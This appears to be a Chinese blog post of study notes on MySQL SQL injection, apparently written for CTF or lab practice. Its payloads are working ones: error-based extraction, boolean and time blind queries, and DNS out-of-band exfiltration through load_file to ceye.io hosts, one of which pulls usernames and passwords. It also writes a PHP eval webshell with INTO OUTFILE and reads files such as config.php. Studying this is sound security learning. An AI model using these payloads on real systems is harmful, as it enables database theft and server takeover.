sql注入学习

 基础查询语句:

给指定字段添加数据
insert into 表名(字段名1,字段名2,.....) values(值1,值2,......);
给全部字段添加数据
insert into 表名 values (值1,值2,.....);

--无限制条件的修改,会修改整张表
update 表名 set 字段 = 值;
--有限制条件的修改,只修改特定记录
update 表名 set 字段 = 值 where 条件(字段 = 值);

replace
要确定表中是否已存在新行,MySQL使用PRIMARY KEY或UNIQUE KEY 索引。如果表没有这些索引之一,则REPLACE语句等同于INSERT语句。
replace into 表名 VALUES(6,'wokou','新九州岛','日本')

select + 列名 from +表名 where +限制 
select * from users where name in ('zxp');  //查询所有name ='zxp'  

1为填充列,union查询后边查询的列必须和前边的列相等
select * from users where id=6 union select *,1 from emails where id=6;

由于页面只会回显一行,则需要将前边语句不成立,union查询的结果便会显示
select * from use where id=-1 union select 1,2,3#查询三列


group by进行分组,分组不能超过查询的列数,2 3 为填充列
select name,2,3 from user  group by 2  按第3列分组

order 按照第几列进行排序
select name,2,3 from user  group by 1 按照第一列排序

limit 限制输出行数
select * from user limit 0,3 从第一行开始输出3行

一、报错注入:

substr

1.extractvalue:注意

extractvalue updatexml都只能显示最多32个字符 

需要用substr mid right left截取

RIGHT(str, length)
其中,str是要提取右侧字符的源字符串,length是要提取的字符数。

extractvalue() 第一个参数 XML文档名称 ,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml

如果路径的第一个字符错了,就会报错  

?id=0'union select 1,2,extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,30)
from information_schema.schemata)))--+

2.updatexml(xml_document,xpath_string,new_value)  

select undatexml(doc,'/book/auther/surname','1') from xml
更改路径的符号会报错
select undatexml(doc,'~book/auther/surname','1') from xml

如果没有用group_concat需要用limit 控制输出第几行

?id=1")union select 1,2,updatexml(1,concat(0x7e,(select mid(schema_name,1,30) from information_schema.schemata limit 0,1), 0x7e),1)--+

3.floor

rand()返回0~1间的小数   

floor向下取整  ceiling向上取整

concat_ws() 将括号里的数据用第一个字段连接起来

as 用于取别名

count() 汇总统计数量

?id=0" union select 1,count(*),concat_ws('-',(select substr(group_concat(table_name),1,30)
from information_schema.tables where table_schema='ctftraining'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
from information_schema.tables这个是为了让行数多一点,

4.DNS外带 

 dnslog带外注入需要有文件读取的操作权限才能进行。

仅限于windos环境

?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+

?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

二、盲注

1.布尔盲注

?id=1'and ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>40--+

2.时间盲注

?id=1'and if( ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>410,sleep(0),sleep(2))--+

三 、文件写入

1.into outfile

需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。 

查看是否有写入权限
show variables like '%secure%'
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出

当值被设置为NULL时,禁止导入导出功能
使用条件
  • root权限

  • GPC关闭(能使用单引号)

  • 有绝对路径(读文件可以不用,写文件必须)

  • 没有配置—secure-file-priv

?id=-1')) union select 1,2,"<?php @eval($_POST['password');?" into outfile "/var/www/html1.php"--+

写入文件内容可以是十六进制,但是文件路径不可以用编码表示,这就导致了过滤了单引号就不能写入文件。 

2.load_file

读取文件

使用函数:load_file()

select load_file(‘绝对路径反斜杠’);

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…

select load_file(0x27746D702F31)
select load_file(char(47,116,109,112,47,49))

四、无列名注入

为什么会需要无列名注入?  无列名注入讲解

我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

  1. InnoDb引擎

    从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

  2. sys数据库

    在5.7以上的MYSQL中新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可通过                schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。

  • 25
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值